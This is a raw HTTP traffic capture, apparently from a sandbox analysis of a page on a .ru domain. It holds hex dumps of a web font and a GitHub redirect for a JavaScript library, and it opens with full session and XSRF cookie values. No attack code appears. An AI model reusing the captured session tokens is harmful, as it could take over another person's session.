Cookie: XSRF-TOKEN=eyJpdiI6IlcydXNSNXhXb01SRytNZ2lYTlEyZlE9PSIsInZhbHVlIjoicFlWbHYxOU1FSnBGSjZGcVc1Wld5K2hoUVlNM0xQTGsxRndGdFVleFgxWm1TbGl1ejNzWVhFK3ZsWDZIMy9KZFd2TFBNZjc1cng0TXdmdER6cTRCbUxRaCtIQXpZREpRdWt1YlZmamh6bncxTCtUWi9tLzl6Y3lpeHAwVGNSRWkiLCJtYWMiOiIxMDYwN2ZlYzA2MWYwMTgxYTY0ZTllMjRmMDI2NmI1YTE5MzMwMjUxMTI3NzAwOTgzNjQ4ZTc0NjVkMjQ0MmZlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNTbVVIdHNoL3BaVlVkVjdrUWVTWkE9PSIsInZhbHVlIjoid3pFaElZcVZjTFV1ZkNnQkluUmRRVnpLRnM0QWZ0VzhMQi9hUFQwQ0ZpYnMvNHVKVUFQOTZjRkxlN2RTRW5RWWppQ3lyYlpHY0lTRlJMQ2t6bWlObFVqTkJHM1locE1KOVNVV05tbmlwMkF4NWlXKzRRelJqMGVxRFVIZW9xVGgiLCJtYWMiOiJkYTFkMjMwMGY4YzE0OWIxYTQ5NTBhNzg1N2Y3MTcxMTIxNjFkMWYzNjZhMGZiYmU5ODI1Mzg1ZWFjYmVhMTExIiwidGFnIjoiIn0%3D
2025-03-18 08:10:40 UTC	1155	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 08:10:40 GMT Content-Type: font/woff Content-Length: 36696 Connection: close Content-Disposition: inline; filename="GDSherpa-regular.woff" cf-cache-status: MISS Last-Modified: Tue, 18 Mar 2025 08:10:40 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LHCkM2YnuX9LW8%2Fj4AchBeDJaXuGpSQlsYs%2F4DN3cP9OSnXicLv4Yo5NCyQ8em08%2BtnZNfp68z9MSpCrajmuNZe9UopAMJsvfhpBnwT%2BIu9hKBq5A2UCPlbgU3x8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=1191&min_rtt=1161&rtt_var=497&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2295&delivery_rate=2056818&cwnd=251&unsent_bytes=0&cid=725dee132847b4bd&ts=156&x=0" Cache-Control: max-age=14400 Server: cloudflare CF-RAY: 922341421c42428b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1680&min_rtt=1673&rtt_var=643&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1956&delivery_rate=1682997&cwnd=215&unsent_bytes=0&cid=330e43b99fa8c2e7&ts=472&x=0"
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8f 58 00 11 00 00 00 01 36 90 00 01 00 00 00 00 8e 30 00 00 01 28 00 00 02 97 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8e 28 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 18 99 00 00 5e 3e 80 e1 18 da 47 53 55 42 00 00 1a 1c 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c cc 00 00 00 46 00 00 00 60 68 60 7b 5a 63 6d 61 70 00 00 1d 14 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 87 b0 00 00 00 30 00 00 00 3c 28 d6 01 ad 66 70 67 6d 00 00 87 e0 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 87 a8 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 22 30 00 00 54 6c 00 00 a0 68 11 94 2e 2b 68 65 61 64 00 00 76 9c 00 00 00 34 00 00 00 36 1a bb 7d da 68 68 65 61 00 00 76 d0 00 00 00 Data Ascii: wOFFX60(DSIG(GPOS^>GSUB3yOS/2F`h`{Zcmap<?+cvt 0<(fpgm?gaspglyf"0Tlh.+headv46}hheav
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 08 98 94 03 93 03 c0 64 bb c1 24 ac 26 69 0a 82 e3 36 16 41 35 03 54 7e 15 b5 cf e4 fd 68 b9 12 2d 7f a9 16 4a ab d5 68 b5 1a ad 96 41 7f f7 f2 52 50 ef 03 35 00 54 d1 b2 51 05 4e 95 81 53 69 90 0f 1f 70 f1 41 63 33 81 4b 0d 38 56 02 8a ac 33 5c 0b a0 fd ed ea 79 5c bf 00 0a d8 54 d8 09 0e 56 83 83 d5 a0 40 40 28 a0 75 62 26 25 83 8b bb d0 eb 4d 1e 2e 5a e0 62 00 f2 70 0f 5d 05 6b 71 16 30 b9 07 fd fe 09 9d 8b bb 3c b9 cb c3 5d 77 dc 05 a1 8f bb 79 89 07 d3 d5 94 0f ec ba 00 bb 0c 60 e7 53 63 c8 0f 2a f5 05 76 9b 41 a5 7c 50 a9 00 58 e6 82 4a 0d c0 b2 cc d6 5a 2d 67 94 a5 5e c4 79 12 f5 02 b6 7b 41 ad 9e a0 54 0f 60 3b 00 d8 9e 0f 7e 15 00 5b 1f 78 d5 4b bd 8e 72 b3 51 ef 02 d4 b3 90 fa 03 f3 1c 60 dc 1f 4f 7d e8 4f 2a 52 1a d2 58 2e 85 fd 98 c5 47 c0 bf Data Ascii: d$&i6A5T~h-JhARP5TQNSipAc3K8V3\y\TV@@(ub&%M.Zbp]kq0<]wy`ScvA\|PXJZ-g^y{AT`;~[xKrQ`O}ORX.G
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 65 88 5a 63 0f f4 93 4f 22 9e 48 dc 91 29 96 c6 6a 35 37 d8 e2 99 a3 cf 81 84 ca 4c 58 3c 4c 10 b1 1d 69 3b 0d f9 a9 c2 e3 01 76 a4 02 7a 23 ba d1 74 85 85 2c f7 c8 cc 35 5e 0f 15 47 96 be 1d dc 1b b4 97 47 2c 73 50 7c fd df c3 31 a0 d3 60 9a d3 8e bc 67 b4 fa 66 42 7d 16 a2 de 06 5e 88 88 77 3e 6c 64 43 e7 12 0e e8 6a 98 df 40 bc f5 9a 6b 19 ad 96 65 dc 78 b9 95 3a 12 46 f7 5a 58 3c bf b1 d5 e1 38 f1 4c 3f ca 15 2f 64 45 c5 38 ce 39 39 71 92 03 6c 2d 60 6b 19 0c 2c 0f 5e 6d e1 4e 51 b8 27 4a 66 42 3a aa e5 ba e8 51 45 9c 03 b8 77 c8 c8 ab b5 7e 55 7d bd fc bf 3d dd 23 9a a6 bd e8 29 49 59 47 d1 55 6d 67 96 22 de 5a 12 3d 02 89 44 e8 ba 84 1d bb 7b 66 34 fa 76 04 dc a3 70 a8 87 ad 3c c9 cc 75 74 3e ae 56 d1 59 90 f1 26 ea 42 67 b8 25 4a 44 3f 2f b5 c7 e3 Data Ascii: eZcO"H)j57LX<Li;vz#t,5^GG,sP\|1`gfB}^w>ldCj@kex:FZX<8L?/dE899ql-`k,^mNQ'JfB:QEw~U}=#)IYGUmg"Z=D{f4vp<ut>VY&Bg%JD?/
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: a5 77 b5 ed ff 41 83 72 8f cd dd eb e2 6e 39 7b 5b 9d d9 5a 0f ee 64 7a 59 0a 0e 68 dc 77 d0 29 ee 5d d4 5f 16 88 0e 55 80 f3 3a 16 3b 86 73 15 e4 a5 42 74 ae 09 d6 b3 d1 68 71 53 0b 9b e4 8b 89 6e 6c 3d ad 05 bd 1a 64 95 ad 01 3c f2 89 3c 65 38 f1 1b 24 a7 07 6a 4a 73 57 b7 92 a3 ea 4d 91 1e fb 4e cd ee a0 25 1f 30 44 14 a6 6d 39 5a d3 bb f8 9b f4 de 4e 63 7f 8f 82 2b 15 f6 3e 78 80 f1 a1 ba 4f a2 cb fa 19 47 45 73 da 97 39 5e b6 02 18 fa 0c a7 2c 63 df cb 65 17 b7 a6 49 9d c7 ca eb 7a 6b a5 b7 95 d0 ed 7a b3 ca d8 0e f5 11 cb fc 37 f5 16 f0 63 64 fd 1a 2c c4 41 7e 8e 2e 44 b4 71 1f ac cd fb fc 16 9e 7c 28 3a a1 39 f2 10 62 fd a5 88 3e 1a f8 53 fe 25 f2 b7 9a 95 c2 3a 63 47 7a 53 a6 c8 55 21 a2 93 83 74 07 ae 83 18 cd bf 41 b9 b0 24 7a d5 f9 00 ef 06 5d Data Ascii: wArn9{[ZdzYhw)]_U:;sBthqSnl=d<<e8$jJsWMN%0Dm9ZNc+>xOGEs9^,ceIzkz7cd,A~.Dq\|(:9b>S%:cGzSU!tA$z]
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: e8 39 0f ef 1d ac 8f 3f d6 ae ba b8 17 7b 70 5f 6e 6c 60 1e 6f e1 5b f1 64 35 7c b6 3d d2 b4 71 2f 8b 8c 32 5a ae 39 9c 0a ee 71 c7 08 41 4d 33 c7 ee ca 5c d5 11 57 0b 3e 07 ee 96 bd 0e aa e3 f8 d6 78 07 8b fc 25 a5 da ff af 01 59 c8 c7 78 50 ff 3f 4d 46 e4 1f 37 f8 32 c4 30 3d 61 85 4f 4a 34 23 75 8a bf cf f7 8c 47 6a c5 b7 17 50 ae e8 61 50 be 5b eb 0b 48 47 3d da 3f 64 9b f7 fc 3a 16 d0 63 39 58 f6 6a b4 15 12 cd cd 92 7f b8 d1 35 f6 38 9d 48 4a db 64 d7 33 36 99 31 7c 63 d4 57 4f 49 51 a3 26 ef cc 4a 0c 65 65 0c f1 71 1c 3e 37 9a 91 5c a5 d9 53 57 ef 46 88 3e 3b de d7 ff 33 f1 15 44 2d 66 65 0c b5 db bb f6 d3 63 c6 ae fa ff 46 1a a5 0f dd e3 8e 71 2d db 53 0a 4e be 18 4f ec 8d b8 fc 26 df fe 9e 30 57 a8 ed 33 57 a7 3f c7 71 02 54 cb 12 1b 7b 82 17 ba Data Ascii: 9?{p_nl`o[d5\|=q/2Z9qAM3\W>x%YxP?MF720=aOJ4#uGjPaP[HG=?d:c9Xj58HJd361\|cWOIQ&Jeeq>7\SWF>;3D-fecFq-SNO&0W3W?qT{
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 49 6f 12 f2 bd be 72 9e e6 7b cb 0a 79 d1 11 0b 7c c5 45 34 76 44 81 97 37 7e b0 34 df c7 87 b2 b2 e1 23 f8 e8 17 47 f2 c3 2f 8e e2 97 5f 4c e5 77 47 d4 db 1c f1 e2 c8 ba ec b8 18 60 31 d0 22 62 c3 e8 73 5d d7 0b 91 67 ac 27 56 8c 63 bd 50 79 01 62 27 96 a1 2c e7 9e 7e 3f 1d 9f 73 da 79 ec 34 39 7f 6c 0d 37 db bd b5 56 68 a8 6b ad ed 9e 25 a8 73 98 58 75 fb 0d 93 1f 69 bd 6f f2 ea ed 54 11 ca 0e b6 33 86 31 48 93 19 ed ce a8 53 cb 6c 61 b6 de 4a 8b 91 fe a3 26 c4 46 eb db f5 1c 63 6d 90 6a 47 6b 97 fd 54 f7 8b ee d6 aa d3 57 6b 1b f8 a8 7e 75 7c 12 36 f0 59 f8 dc d6 a8 fd f7 16 c7 a4 71 43 15 83 34 5b 88 fe 87 aa 57 b8 d5 82 47 ca e9 22 45 44 49 3f d1 d2 45 77 a9 28 56 ea 88 93 96 e2 5d 8d d0 87 be ea d9 9f 24 29 73 00 c9 ea 3e 98 14 86 88 bb 61 a4 32 5a Data Ascii: Ior{y\|E4vD7~4#G/_LwG`1"bs]g'VcPyb',~?sy49l7Vhk%sXuioT31HSlaJ&FcmjGkTWk~u\|6YqC4[WG"EDI?Ew(V]$)s>a2Z
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 55 87 27 14 c1 63 aa ab 4b b9 9c 5d 3c af 46 3c a7 48 9e 56 63 1a b0 91 91 ba 9c d1 ba 82 51 6a 46 a2 ae 64 8c 9a 33 5e 2d 19 ab ab 98 a8 d6 4c 50 2b ae e0 23 a6 ea 5a a6 e9 1a a6 a8 3d d3 75 1d 2f eb 7a 1a b1 95 57 15 cb 1c dd c2 5c de 54 57 16 e8 0e 52 d5 8d b7 58 a8 3b 8d d9 96 e6 bc 56 5c cd 31 da 99 03 fb eb 62 9e 95 c7 2b 6a c7 0c dd c8 4c dd 44 b2 3a 32 4b 37 d0 dc b2 e7 00 ad 39 ce cd 7c cb 0b 6a ca 38 b5 e0 45 5d ad 7b d4 57 bd 35 40 f7 aa 27 8f ab 36 29 ba 99 d9 8a e1 35 75 62 be 6e e7 7a be e6 26 be e1 3a 4e d2 91 2f 2d bf be b2 a4 38 c1 1d 9c a1 97 85 dc 5d 14 d3 93 22 86 eb 32 86 29 8a 11 6a c2 eb ea cc 3c dd a6 e7 35 4c 2f 68 b8 46 68 a4 e6 68 ae a6 ea 90 f2 18 48 01 87 24 55 d6 45 aa a6 bb d4 47 fd 09 d7 29 73 f1 85 e6 80 90 3f 1c cd ff 19 Data Ascii: U'cK]<F<HVcQjFd3^-LP+#Z=u/zW\TWRX;V\1b+jLD:2K79\|j8E]{W5@'6)5ubnz&:N/-8]"2)j<5L/hFhhH$UEG)s?
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: ad c0 77 46 96 f0 43 c7 84 a8 63 42 c8 bd 8c 5c f6 11 28 db 85 d1 5b 22 26 2d db 8b a3 c5 7a f3 ca c0 b1 52 f5 ef c3 70 bc 85 9f b6 ce bc 48 0a d4 1d b3 ee 10 cb 23 7d d9 0a 7d 19 cb f4 58 dc 3c 3d 30 8f 0d 08 ca 2c 2d bb 1a 3a bb c6 12 ce f0 0c c7 f2 5c a3 43 e7 2a 94 98 f6 6e 30 70 77 22 42 a1 f0 12 61 4a 51 06 6a 2d 7e 88 89 89 8e d2 47 ea 24 61 88 45 b1 aa 6f 17 06 e8 81 74 5d 3a 10 6e 50 28 f0 9d 23 b7 2f d6 d5 80 4c fc 12 45 57 9e c8 fc d5 fd 54 26 d6 dd e8 ef 79 78 85 59 b8 8c be da e1 31 fd 2b 75 cb b3 c8 f3 ca 79 e4 fe 42 fb 4b 37 f3 8e 1f 98 75 e8 17 03 db 3e 38 31 bf ac ff d4 ac f0 61 ab fe 9f 9b 86 24 fe fd 89 f6 8d ce 12 46 c6 33 8b b8 46 32 96 3d cb c8 b8 f6 62 ed fb c4 04 fa cc a4 d6 ab 09 ff 2e e2 d7 2f 5e b4 66 01 fb ac f7 e0 9e 3b eb f1 Data Ascii: wFCcB\(["&-zRpH#}}X<=0,-:\C*n0pw"BaJQj-~G$aEot]:nP(#/LEWT&yxY1+uyBK7u>81a$F3F2=b./^f;
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 28 5c bc 04 b5 b7 73 cb ef 1e e6 4e 80 b2 2a bf 7b 1d 0a cc 06 9e 7f 4e f5 7d b8 25 c4 45 c1 b2 13 15 1f e8 54 ca 77 b1 6c 5a 38 d6 0b 21 6f a2 7d 68 f8 45 21 0c fd f9 0d 61 99 d0 fd 22 7e 19 bf 66 bd 82 ab ad f9 d6 1c 5c 6b bd 24 ea 7a 03 f0 09 43 f9 2a 26 d4 12 a4 60 19 d6 91 53 50 3a 4b 0d 60 5a 3a 74 6b be f5 d6 9b e8 02 ba f0 86 f5 d6 c3 38 9c 6d b3 66 e2 37 46 4e 5a 7f 27 96 07 da 9a bb 41 f5 34 d8 48 3c 22 86 3f a8 fe 52 66 4c 58 30 a6 43 8d 48 8c 8f 9a 52 6e a6 22 83 40 6a 6a d8 be 91 a7 b8 f8 91 dd ec c6 bb e7 37 71 3d c7 37 dd 3d 70 92 d8 7e a3 60 ba 2b 4e 41 b9 5e a0 b5 0b 2c f9 1a 98 63 c9 24 cb b0 2a 62 27 a9 18 05 a7 52 38 da 62 2e 4a 4c ad 31 86 f1 51 43 46 2f b5 f8 9f ab 32 38 5e 8f ec ec 32 35 11 46 9d 3a 92 75 65 af 59 cb 70 b7 f5 10 be Data Ascii: (\sN{N}%ETwlZ8!o}hE!a"~f\k$zC&`SP:K`Z:tk8mf7FNZ'A4H<"?RfLX0CHRn"@jj7q=7=p~`+NA^,c$*b'R8b.JL1QCF/28^25F:ueYp
2025-03-18 08:10:40 UTC	1041	IN	Data Raw: 8a d9 18 03 94 84 c7 69 e2 54 44 ad 9b 13 59 79 8a 32 9b 94 61 2c 75 c2 60 ea 32 28 59 50 ea 48 5c 6c 90 56 c9 0c c8 df 1f 79 57 e4 d4 66 87 92 a9 aa f9 f2 0c 63 7f 79 4e 6d 8e f8 d7 95 42 63 7b 61 29 ae 32 6d a9 d8 f2 74 af 19 fd 8e fc 5b 54 6a 7d cc b4 75 53 ea f6 a3 17 ab e9 a4 15 6f 98 b6 11 fe ba 54 4d fd b4 78 63 01 7e 65 cf ad 0a f6 a5 f0 88 86 d3 ef 59 cb e1 9f de e1 5b 95 23 f9 e1 3a 51 af 9e a3 7e 6a 10 13 6f 31 fa 78 88 6b 01 0c 0f 8e 06 b7 98 45 d2 a2 80 e8 a3 07 31 81 3e 6a 6d a3 82 d8 6e e9 d9 ac 68 c9 1b 88 9f 4e 5d 58 e2 c0 b1 59 c8 5b a3 66 1b 3a 42 c3 ad eb cf 12 7f 56 57 dc 53 25 9c 5b 3e 27 cf 30 2d 9d 4b bb 7b 50 f2 6d 5b 4a d6 55 a7 48 6b 64 5c 25 1d 47 81 4c a2 25 5e 9a 3a 1b 89 a7 c3 32 1c 5d 52 a2 12 02 3e 8e 8f 3a c0 5f 1d e8 13 Data Ascii: iTDYy2a,u`2(YPH\lVyWfcyNmBc{a)2mt[Tj}uSoTMxc~eY[#:Q~jo1xkE1>jmnhN]XY[f:BVWS%[>'0-K{Pm[JUHkd\%GL%^:2]R>:_

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:40 UTC	701	OUT	GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1 Host: github.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://ruhlamat.brightnexst.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 08:10:40 UTC	978	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Tue, 18 Mar 2025 08:10:10 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250318%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250318T081010Z&X-Amz-Expires=300&X-Amz-Signature=9f42f080fc18b0f3b202a2b7bd6fcf295594939e561ecba96a28e4da554d758d&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2025-03-18 08:10:40 UTC	3371	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.githu